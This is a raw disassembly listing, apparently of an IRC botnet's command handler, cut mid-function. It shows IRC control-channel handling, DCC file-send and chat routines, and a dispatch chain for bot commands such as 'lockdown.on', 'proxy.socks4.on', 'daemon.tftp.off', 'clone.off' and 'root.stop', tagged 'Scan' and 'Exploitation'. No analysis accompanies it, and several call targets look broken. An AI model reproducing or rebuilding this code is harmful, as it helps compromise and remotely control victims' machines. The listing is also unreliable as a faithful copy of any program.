eax pop ecx jnz short loc_40F116 push ebx push dword_4CD760 push dword_42F5CC push [ebp+arg_10] call sub_415D01 add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 loc_40F10C: ; CODE XREF: sub_40EE72+25Fj add esp, 0Ch loc_40F10F: ; CODE XREF: sub_40EE72+1D8j ; sub_40EE72+1F4j ... mov eax, edi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_40F116: ; CODE XREF: sub_40EE72+270j mov esi, [ebp+arg_18] mov [ebp+var_BC], 2 mov edi, 80h loc_40F128: ; CODE XREF: sub_40EE72+2DBj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F145 mov [ebp+var_AC], 1 loc_40F145: ; CODE XREF: sub_40EE72+2C7j add esi, edi dec [ebp+var_BC] jnz short loc_40F128 mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F241 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40F174: ; CODE XREF: sub_40EE72+392j cmp [esi], bl jz loc_40F1FF push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [ebp+var_D8] add esp, 0Ch test eax, eax jz short loc_40F1FF cmp [ebp+var_88], ebx jz short loc_40F1FF push [ebp+var_88] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F1FF lea eax, [ebp+var_D8] mov [esi], bl push eax lea eax, [ebp+var_2DC] push offset dword_432E08 push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40D633 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D8j ; sub_40EE72+57F5j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CEBj pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172B0 push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_432DAC loc_40F422: ; CODE XREF: sub_40EE72+5B47j ; sub_40EE72+5E96j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FABj pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432D7C push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 cmp dword_42F5B8, ebx jz loc_414F47 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_432D70 mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_432D2C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2610F93h jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_432D20 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_4CD770 mov eax, off_42F6C8[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_432D04 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_4CD67C loc_40F7A0: ; CODE XREF: sub_40EE72+58C1j push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_432CE0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_432CC8 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j call near ptr 2650B3Dh nop push eax push offset dword_432C80 jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_432C30 loc_40F813: ; CODE XREF: sub_40EE72+6177j ; sub_40EE72+61DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA4 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172B0 push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_432BF8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 2610F93h jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 2650B3Dh push eax push offset dword_432BB4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_432B74 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_432B34 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4F cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F47 xor edi, edi cmp dword_42F794, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_43FA70 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42F794 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_432E88 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_43FA88[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_43FA70[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172B0 lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_0 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_432AF0 ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730C push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF5 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED3 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E31 push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E22 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0D push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BEB push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_432A38 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FEA add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_432A14 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_432A04 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_4329F8 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_4329F0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_4329E4 push offset dword_4329D8 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4329B4 push offset dword_4329A4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_432998 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_43298C push offset dword_432980 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_432970 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_432964 push offset dword_432958 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_432948 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_43293C push offset dword_432930 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_432920 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_432914 push offset dword_432908 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_4328EC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD3 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BBB push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_43288C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_432864 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA5 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B84 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B62 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B1A push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ADB push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF 